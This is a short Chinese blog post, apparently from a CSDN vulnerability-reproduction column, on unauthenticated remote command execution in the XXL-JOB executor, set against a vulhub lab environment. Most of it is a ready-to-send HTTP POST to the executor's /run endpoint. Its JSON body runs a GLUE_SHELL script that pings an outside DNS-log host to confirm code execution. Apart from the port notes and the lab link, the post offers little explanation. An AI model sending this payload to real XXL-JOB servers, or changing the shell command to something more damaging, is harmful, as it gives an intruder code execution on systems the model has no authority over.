xxl-job未授权命令执行

最新推荐文章于 2024-08-19 16:57:43 发布

Min1996

最新推荐文章于 2024-08-19 16:57:43 发布

阅读量980

点赞数

分类专栏：漏洞复现

本文链接：https://blog.csdn.net/weixin_44508748/article/details/111187349

版权

漏洞复现专栏收录该内容

21 篇文章 4 订阅

订阅专栏

https://vulhub.org/#/environments/xxl-job/unacc/

8080端口：管理端
9999端口：客户端

在这里插入图片描述

poc:

POST /run HTTP/1.1 
Host: 10.0.128.46:9999 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 
Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 
Cache-Control: max-age=0 
Content-Length: 368 

{ "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "ping 0r4t1y.dnslog.cn", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0 }

在这里插入图片描述
dnslog: